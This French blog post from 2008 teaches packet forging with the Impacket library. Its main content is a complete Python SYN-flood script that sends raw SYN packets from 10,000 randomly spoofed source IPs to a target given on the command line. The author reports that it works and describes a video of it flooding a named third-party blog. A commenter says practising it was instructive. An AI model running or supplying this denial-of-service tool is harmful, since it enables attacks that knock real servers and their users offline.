Magazine Internet

Forger un paquet avec ImPacket et accessoirement le syn flooding

Publié le 10 novembre 2008 par Mikebrant

Ca faisait longtemps.
On va apprendre à forger un paquet via Impacket, et l'exemple permettra de faire du "syn flooding"

Sortez vos marteaux et vos enclumes, on va forger...
Pour ce qui est du "syn flooding" je vous renvoie à Wikipedia.

Nous allons donc forger des paquet IP qui vont envoyer des demandes d'ouverture de sessions à un serveur.
Il faut donc que le flag SYN des nos entêtes TCP soit à 1, et puis c'est tout.

Alors, voilà comment on forge notre paquet "type"  :

#!/usr/bin/python2.5
#-*- coding:Utf-8 -*-
from impacket import ImpactPacket
import sys
if __name__ == '__main__':
  
   if len(sys.argv) < 3 :
   print(" Il faut mettre l'ip cible en paramètre ainsi que le port.\nexemple : ./forge.py 192.168.1.69 80")
   exit(0)
   monPaquet = ImpactPacket.IP()
   monTcp = ImpactPacket.TCP()
   monPaquet.set_ip_dst( sys.argv[1] )
   monPaquet.set_ip_src( ip )
   monPaquet.contains( monTcp)

   monTcp.set_th_sport( int( sys.argv[2] ) )
   monTcp.set_th_dport( int( sys.argv[2] ) )
   monTcp.set_th_seq( 1 )
   monTcp.set_SYN()
   monTcp.calculate_checksum()
   monTcp.auto_checksum = 1

On commence par créer notre paquet IP via IP(), puis notre segment TCP avec TCP() [ très compliqué pour le moment ...].

Ensuite :
   au niveau de monPaquet  :
   - set_ip_dst() : ip de destination ( notre "cible" )
   - set_ip_src() :  ip source.  Vaut ip : on va générer après des IP aléatoires.
   - contains() : encapsule monTcp .
   au niveau de monTcp  :
   - set_th_sport() : le port source
   - set_th_dport() : le port de destination
   - set_th_seq() : numéro du paquet ( un id ), le paquet suivant  aura le numéro seq +1 .Ici, on peut mettre un numéro aléatoire.
   - set_SYN() : par défaut, tous les flags sont à 0. set_SYN()  [ comme les autres setters des flags : set_ACK(), ...] va mettre son flag a 1 s'il vaut 0 et inversement. Ici, le flag SYN vaudra donc 1.
     - calculate_checksum() : à ne pas oublier ! va calculer le checksum de notre entête Tcp .
   - auto_checksum : à ne pas oublier également ! attribut de monTcp, vaut 1 par défaut,  et doit valoir 1 pour que calculate_checksum() s'éxécute. A la fin, calculate_checksum()  met à 0 auto_checksum  donc on doit le remettre à 1 (il est utilisé par la suite) .

Et bien voilà notre joli paquet est construit . On a appris à forger notre propre paquet....youhou.....

Maintenant on va générer des ip aléatoires, et pour chaque IP générée, on va créer un paquet .
Voici le petit code :

#!/usr/bin/python2.5
#-*- coding:Utf-8 -*-
import sys
from random import randint
from impacket import ImpactPacket
def ipSource():
   """ va retourner une liste d'ip aléatoires bonnes ou mauvaises """
  
   liste = []
   for i in range( 10000):
   liste.append( str( randint(1, 255) ) + "." + str( randint(1, 255) ) + "." + str( randint(1, 255) ) + "." + str( randint(1, 255) ) )
  
   return liste  
  
if __name__ == '__main__':
  
   if len(sys.argv) < 3 :
   print(" Il faut mettre l'ip cible en paramètre ainsi que le port.\nexemple : ./forge.py 192.168.1.69 80")
   exit(0)
   for ip in ipSource() :
   monPaquet = ImpactPacket.IP()#on crée la couche 3
   monTcp = ImpactPacket.TCP()#la couche 4
  
   monPaquet.set_ip_dst( sys.argv[1] )
   monPaquet.set_ip_src( ip )
   monPaquet.contains( monTcp )  
  
   monTcp.set_th_sport( int( sys.argv[2] ) )  
   monTcp.set_th_dport( int( sys.argv[2] ) )
   monTcp.set_th_seq( 1 )
   monTcp.set_SYN()
   monTcp.calculate_checksum()
   monTcp.auto_checksum = 1 


Je ne vais pas expliquer en détail, c'est assez bateau : on a simplement rajouter une boucle, et notre fonction ipSource va générer une liste d'ip ( qu'elles soient mauvaises ou bonnes on s'en fou) .

Il nous reste plus qu'à envoyer nos paquets, à la fin du code, rajoutez :

   maSocket = ImpactPacket.socket.socket(ImpactPacket.socket.AF_INET, ImpactPacket.socket.SOCK_RAW, ImpactPacket.socket.IPPROTO_TCP  )
   maSocket.setsockopt(ImpactPacket.socket.IPPROTO_IP, ImpactPacket.socket.IP_HDRINCL, 1)
   maSocket.sendto( monPaquet.get_packet(), ( sys.argv[1],  int( sys.argv[2] ) ) )

Cette dernière partie est un peu compliquée :
   on instancie maSocket via socket() qui prend 3 paramètres :
   - socket.AF_INET : indique la famille de maSocket ( il existe aussi AF_UNIX, ... )
   - socket.SOCK_RAW : indique le type de communication de maSocket ( on utilise le mode caractère ; il y a aussi le mode datagramme : SOCK_DGRAM, enfin il en existe pas mal )
   - socket.IPPROTO_TCP : indique le numéro du protocole TCP, on aurait donc pu le remplacer par 6, mais ca fait moins compliqué .
  La méthode setsockopt() de maSocket va nous permettre de définir des options.
   setsockopt() prend 3 paramètres :
   - la couche où se trouve l'option.
   - le nom de l'option.
   - la valeur de l'option.
   Dans notre cas, on doit préciser que notre paquet contient l'entête IP ( et que ce ne sera pas au système de l'ajouter) , donc :
     - la couche où se trouve l'option sera donc la couche IP :socket.IPPROTO_IP
     - l'option sera socket.IP_HDRINCL afin d'indiquer que l'entête est fournie par nos soins.
   - la valeur de notre option vaudra donc 1.


  Enfin, sendto() va envoyer monPaquet via sa méthode get_packet() , au serveur "cible" sur le port donné  ( l'ip du serveur ainsi que le port doivent être dans un tuple ).

Voilà, voilà, c'est terminé.
Voici le code complet :

#!/usr/bin/python2.5
#-*- coding:Utf-8 -*-
import sys
from random import randint
from impacket import ImpactPacket
def ipSource():
   """ va retourner une liste d'ip aléatoires """
  
   liste = []
   for i in range( 10000):
   liste.append( str( randint(1, 255) ) + "." + str( randint(1, 255) ) + "." + str( randint(1, 255) ) + "." + str( randint(1, 255) ) )
  
   return liste  
  
if __name__ == '__main__':
  
   if len(sys.argv) < 3 :
   print(" Il faut mettre l'ip cible en paramètre ainsi que le port.\nexemple : ./forge.py 192.168.1.69 80")
   exit(0)
   for ip in ipSource() :
   monPaquet = ImpactPacket.IP()
   monTcp = ImpactPacket.TCP()
  
   monPaquet.set_ip_dst( sys.argv[1] )
   monPaquet.set_ip_src( ip )
   monPaquet.contains( monTcp )  
  
   monTcp.set_th_sport( int( sys.argv[2] ) ) 
   monTcp.set_th_dport( int( sys.argv[2] ) )
   monTcp.set_th_seq( 1 )
   monTcp.set_SYN()
  
   monTcp.calculate_checksum()
   monTcp.auto_checksum = 1 
  
  
   maSocket = ImpactPacket.socket.socket(ImpactPacket.socket.AF_INET, ImpactPacket.socket.SOCK_RAW, ImpactPacket.socket.IPPROTO_TCP  )
   maSocket.setsockopt(ImpactPacket.socket.IPPROTO_IP, ImpactPacket.socket.IP_HDRINCL, 1)
   maSocket.sendto( monPaquet.get_packet(), ( sys.argv[1],  int( sys.argv[2] ) ) )

Pour illustrer que nos paquets forgés sont bons, ainsi que le syn flood ca marche voisi deux captures de wireshark:
je reçois bien mes paquets forgés et donc la demande d'ouverture de sesion :

et je réponds bien  envoyant un SYN + ACK :

Et une petite vidéo ( par contre pas de son, je ne connais pas de logiciel faisant la capture vidéo/son ) qui va montrer que le syn flood ca marche plutôt bien, mais bon à ne pas faire, à moins d'être vraiment con, et il y en a ...
La vidéo fait donc un synflood sur holin-blog  ( de très bons articles, que dis-je de somptueux articles, csm..  ) :

Si vous voulez la télécharger (et elle est  en meilleure qualité) c'est ici.


Retour à La Une de Logo Paperblog

LES COMMENTAIRES (1)

Par tk9999
posté le 22 mai à 23:45
Signaler un abus

Merci pour ce petit bout de code. Pratiquer le syn-flooding et le programmer a été très instructif.

A propos de l’auteur


Mikebrant 9 partages Voir son profil
Voir son blog

l'auteur n'a pas encore renseigné son compte l'auteur n'a pas encore renseigné son compte

Dossier Paperblog